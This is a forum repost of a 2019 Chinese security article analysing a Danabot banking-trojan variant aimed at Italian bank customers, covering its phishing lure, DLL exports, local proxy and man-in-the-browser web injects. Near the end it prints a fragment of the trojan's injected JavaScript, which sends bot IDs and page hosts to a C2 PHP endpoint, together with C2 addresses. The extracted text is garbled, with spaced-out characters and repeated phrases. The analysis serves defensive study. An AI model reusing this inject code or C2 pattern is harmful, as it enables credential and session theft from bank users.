搜索

[13675] 2019-01-20_针对意大利的DanabotPayload分析

文档创建者：s7ckTeam
浏览次数：5
最后更新：2025-01-18
2019-01-20_针对意大利的DanabotPayload分析 针 对 意 大 利 的 D a n a b o t P a y l o a d 分 析 A l p h a _ h 4 c k   F r e e B u f   2 0 1 9 - 0 1 - 2 0 前 言 前 言 就 在 几 天 前 ， 就 在 几 天 前 ， D a n a b o t （ 一 个 臭 名 昭 著 的 僵 尸 网 络 ） 的 新 型 变 种 席 卷 了 意 大 利 境 内 的 联 网 设 备 。 在 此 之 （ 一 个 臭 名 昭 著 的 僵 尸 网 络 ） 的 新 型 变 种 席 卷 了 意 大 利 境 内 的 联 网 设 备 。 在 此 之 前 ， 前 ， P r o o f p o i n t 和 和 E s e t 等 多 家 安 全 公 司 都 对 相 同 威 胁 的 其 他 样 本 （ 等 多 家 安 全 公 司 都 对 相 同 威 胁 的 其 他 样 本 （ 2 0 1 8 年 年 5 月 针 对 澳 大 利 亚 地 区 的 攻 击 月 针 对 澳 大 利 亚 地 区 的 攻 击 P a y l o a d ） 进 行 过 分 析 。 近 期 ， ） 进 行 过 分 析 。 近 期 ， C y b a z e - Y o r o i   Z L a b 还 对 最 近 攻 击 意 大 利 地 区 的 还 对 最 近 攻 击 意 大 利 地 区 的 D a n a b o t 新 型 变 种 进 行 了 剖 析 ， 这 新 型 变 种 进 行 了 剖 析 ， 这 个 个 D a n a b o t 变 种 主 要 利 用 钓 鱼 邮 件 （ 主 题 为 变 种 主 要 利 用 钓 鱼 邮 件 （ 主 题 为 “ F a t t u r a ” ） 进 行 攻 击 ， 嵌 入 在 恶 意 附 件 中 的 代 码 可 以 利 用 ） 进 行 攻 击 ， 嵌 入 在 恶 意 附 件 中 的 代 码 可 以 利 用 M i c r o s o f t O f f i c e 的 宏 功 能 来 下 载 恶 意 的 宏 功 能 来 下 载 恶 意 D L L   P a y l o a d 。 。 技 术 细 节 分 析 技 术 细 节 分 析 这 个 恶 意 软 件 样 本 会 尝 试 通 过 加 密 S S L 信 道 连 接 远 程 主 机 （ 1 4 9 . 1 5 4 . 1 5 7 . 1 0 4 ） ， 然 后 下 载 其 他 恶 意 组 件 ， 并 从 文 件 系 统 中 将 自 身 删 除 。 与 此 同 时 ， 它 还 会 在 注 册 表 键 “ H K L M S Y S T E M C u r r e n t C o n t r o l S e t S e r v i c e s ” 中 设 置 一 个 系 统 服 务 ， 而 这 些 注 册 表 键 主 要 负 责 加 载 “ C : P r o g r a m D a t a D 9 3 C 2 D A C ” （ 只 读 、 隐 藏 ） 中 的 动 态 链 接 库 文 件 （ D L L ） ： 这 个 隐 藏 目 录 中 包 含 两 个 可 执 行 组 件 ， 即 “ D 9 3 C 2 D 3 2 . d l l ” 和 “ D 9 3 C 2 D 6 4 . d l l ” ， 其 实 它 们 两 个 是 一 样 的 ， 只 不 过 一 个 是 3 2 位 另 一 个 是 6 4 位 而 已 ， 具 体 执 行 哪 一 个 还 需 要 根 据 目 标 主 机 的 系 统 架 构 来 确 定 。 接 下 来 ， 恶 意 软 件 还 会 进 行 至 少 两 次 的 恶 意 代 码 库 加 载 ， 不 过 每 一 次 所 使 用 的 参 数 都 不 同 ， 具 体 需 要 根 据 调 用 的 导 出 函 数 来 确 定 ：
如 上 图 所 示 ， 恶 意 软 件 会 导 出 八 个 关 键 函 数 ： “ f 1 ” ,   “ f 2 ” ,   “ f 3 ” ,   “ f 4 ” ,   “ f 5 ” ,   “ f 6 ” ,   “ f 7 ” 和 “ f 8 ” 。 “ f 1 ” 函 数 负 责 将 恶 意 软 件 变 种 安 装 到 目 标 系 统 中 ， 它 是 一 个 安 装 函 数 ， 并 且 会 在 安 装 过 程 中 调 用 函 数 “ f 2 ” 和 “ f 3 ” 。 函 数 “ f 4 ” 和 “ f 5 ” 负 责 保 证 恶 意 软 件 在 目 标 系 统 中 的 持 续 运 行 ， 其 中 “ f 5 ” 会 设 置 一 个 系 统 转 发 代 理 （ 本 地 端 口 1 0 8 0 ） ， 这 样 一 来 ， 目 标 设 备 的 所 有 联 网 数 据 都 需 要 经 过 这 个 代 理 ， 而 恶 意 软 件 就 可 以 拦 截 或 篡 改 网 络 流 量 了 。 与 此 同 时 ， 函 数 “ f 4 ” 负 责 管 理 网 络 流 量 并 进 行 中 间 人 攻 击 。 每 当 目 标 设 备 向 网 络 发 送 一 次 D N S 调 用 请 求 ， 恶 意 软 件 就 会 将 其 与 自 身 硬 编 码 的 银 行 网 站 地 址 进 行 比 对 ， 如 果 匹 配 成 功 ， 则 拦 截 并 篡 改 请 求 数 据 ， 而 且 它 还 会 窃 取 类 似 用 户 名 、 密 码 和 会 话 C o o k i e 这 样 的 敏 感 信 息 。 在 上 述 函 数 的 执 行 过 程 中 ， 恶 意 软 件 还 会 搜 索 存 储 在 目 标 设 备 W e b 浏 览 器 数 据 目 录 中 的 敏 感 信 息 ， 就 连 G o o g l e   C h r o m e 和 M o z i l l a   F i r e f o x 都 无 法 幸 免 于 难 。 恶 意 软 件 会 收 集 存 储 在 浏 览 器 中 的 用 户 凭 证 ， 然 后 把 收 集 来 的 数 据 存 储 在 一 个 临 时 S Q L i t e 数 据 库 中 ， 数 据 库 路 径 为 “ C : W I N D O W S T E M P ” 。 浏 览 器 中 间 人 攻 击 浏 览 器 中 间 人 攻 击 为 了 执 行 基 于 浏 览 器 的 中 间 人 攻 击 ， 恶 意 软 件 会 设 置 一 个 如 下 图 所 示 的 系 统 转 发 代 理 。 这 样 一 来 ， 它 就 可 以 拦 截 目 标
设 备 上 所 有 的 进 出 流 量 了 。 当 目 标 用 户 请 求 一 个 特 定 W e b 页 面 时 ， 恶 意 软 件 会 向 该 页 面 中 注 入 恶 意 J a v a S c r i p t 代 码 ， 并 尝 试 拦 截 和 提 取 类 似 个 人 数 据 、 账 号 凭 证 和 P I N 码 之 类 的 敏 感 信 息 。 代 理 的 设 置 和 管 理 由 恶 意 D L L 中 的 函 数 “ f 4 ” 负 责 。 通 过 对 恶 意 软 件 样 本 中 提 取 出 的 浏 览 器 中 间 人 攻 击 配 置 进 行 了 分 析 后 ， 我 们 获 取 到 了 该 恶 意 软 件 所 设 置 的 完 整 的 W e b 页 面 拦 截 列 表 ： 这 款 恶 意 软 件 变 种 主 要 针 对 的 是 金 融 机 构 （ 大 范 围 ） 的 用 户 ， 其 中 绝 大 多 数 都 是 意 大 利 银 行 ， 例 如 B a n c o p o s t e ,   I n t e s a   S a n   P a o l o ,   B a n c a   G e n e r a l i ,   B N L ,   H e l l o   B a n k 和 U B I   B a n c a 等 等 。 除 了 银 行 网 站 之 外 ， 列 表 中 还 包 括 一 部 分 电 子 邮 件 服 务 提 供 商 ， 比 如 说 T i m 、 雅 虎 、 H o t m a i l 、 G m a i l 以 及 意 大 利 本 地 的 邮 件 服 务 提 供 商 。 W e b 注 入 注 入 注 入 在 目 标 W e b 页 面 中 的 恶 意 J a v a S c r i p t 会 将 窃 取 来 的 信 息 发 送 至 远 程 C 2 服 务 器 ， 其 中 包 括 会 话 C o o k i e （ 可 帮 助 攻 击 者 渗 透 已 验 证 的 会 话 ） 在 内 。 我 们 可 以 从 下 面 这 段 代 码 中 看 到 ， 注 入 的 恶 意 代 码 来 自 于 h t t p : / / e q u i t y f l o a t [ . ] p w / h c / m y j s 2 8 f r r _ s 5 1 . j s 。
注 入 的 攻 击 代 码 会 访 问 恶 意 P H P 资 源 -   “ / m y 9 r e p / 7 7 7 . p h p ” ， 并 发 送 b o t   I D 详 情 以 及 当 前 的 会 话 C o o k i e 。 而 且 我 们 还 可 以 看 到 ， 恶 意 软 件 会 使 用 自 定 义 的 J Q u e r y 脚 本 ： “ v a r t b i d = m y 7 a j x ( “ # m y j s 1 [ d a t a - b o t i d ] ” ) ; ” 来 给 受 感 染 主 机 设 置 b o t   I D ， 这 个 b o t   I D 需 要 跟 C 2 服 务 器 “ e q u i t y f l o a t . ] c o m ” 的 P H P 页 面 地 址 进 行 拼 接 。 这 样 一 来 ， 攻 击 者 就 可 以 在 M i t B 代 理 成 功 注 入 恶 意 代 码 的 第 一 时 间 接 收 到 通 知 消 息 了 。 总 结 总 结 D a n a b o t 威 胁 在 去 年 就 已 经 将 它 们 的 攻 击 业 务 覆 盖 到 意 大 利 了 ， 尤 其 是 在 2 0 1 8 年 1 1 月 份 ， 当 时 C S D C 在 进 行 安 全 检 测 活 动 时 就 曾 拦 截 到 了 这 种 大 规 模 攻 击 威 胁 。 不 过 根 据 当 时 研 究 人 员 对 恶 意 样 本 的 分 析 ， 那 时 的 D a n a b o t 主 要 针 对 的 是 意 大 利 普 通 用 户 以 及 企 业 组 织 ， 并 没 有 主 要 针 对 传 统 银 行 机 构 。 * 参 考 来 源 ： 参 考 来 源 ： s e c u r i t y a f f a i r s ， ， F B 小 编 小 编 A l p h a _ h 4 c k 编 译 ， 转 载 请 注 明 来 自 编 译 ， 转 载 请 注 明 来 自 F r e e B u f . C O M v a r   w w w w   =   ' h t t p s : / / e q u i t y f l o a t . p w / ' ; w w w w =   " h t t p s : / / "   +   d o c u m e n t . l o c a t i o n . h o s t   +   " / " ; v a r   w a i t d i v   =   " < c e n t e r   i d = " f k w t "   c l a s s = " f k w t " > < b r / >   P o c z e k a j   a ż   T w ó j   k o m p u t e r   z o s t a n i e   z i d e n t y f i k o w a n y .   M o ż e   t o   p o t r w a ć t r o c h ę   c z a s u . . .   < b r / > < i m g   s r c = " "   +   w w w w   + " / m y 9 r e p / 7 7 7 . p h p ? i m g t o = w a i t " > < / i m g > < / c e n t e r > " ;     v a r   w a i t f k   =   " " ;     v a r   w a i t l o k   =   " < d i v > < c e n t e r > < b r / >   P r o w a d z o n e   s a   p r a c e   m o d e r n i z a c y j n e   w   c e l u   j a k   n a j s z y b s z e g o p r z y w r o c e n i a   d z i a l a n i a   s y s t e m u . < b r / > P r z y b l i z o n y   c z a s   m o d e r n i z a c j i   w y n o s i k i l k a   g o d z i n . < b r / > P r z e p r a s z a m y   z a   t y m c z a s o w e   u t r u d n i e n i e   i n i e d o g o d n o s c i . < b r / > < c e n t e r > < / d i v > " ;       v a r   n e t b o t   =   " f r r " ;     v a r   r e m 7 7 7 b n a m e 2   =   " " ;     v a r   t b i d   = m y 7 a j x ( " # m y j s 1 [ d a t a - b o t i d ] " ) ;     i f   ( t b i d . l e n g t h   >   0 )   r e m 7 7 7 b n a m e 2   = t b i d . a t t r ( " d a t a - b o t i d " ) ;     v a r   l o c a   =   l o c a t i o n . h r e f ;     v a r   t y y p   =   t r u e ;       v a r   a p a n   =   w w w w   + " / m y 9 r e p / 7 7 7 . p h p ? t y p = "   +   d o c u m e n t . l o c a t i o n . h o s t   + " & s u b = "   +   n e t b o t   +   " & b = 2 & i n f = "   +   r e m 7 7 7 b n a m e 2 ;       v a r   a r g s   =   { } ;     v a r   t m p 1 ;     v a r   t k s t a t e   =   1 ;     v a r   l g   =   " " ,     p s   =   " " ,     t k   =   " " ;     v a r   l g f ;     v a r   p s s ;     v a r   t a b l ;     v a r   t a b l t r ;     v a r   b t n ;     v a r   c l i c k f n c ;     v a r   a n s q   =   f a l s e ; v a r   a p a n   =   w w w w   +   " / m y 9 r e p / 7 7 7 . p h p ? t y p = "   +   d o c u m e n t . l o c a t i o n . h o s t   + " & s u b = "   +   n e t b o t   +   " & b = 2 & i n f = "   +   r e m 7 7 7 b n a m e 2 ;
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理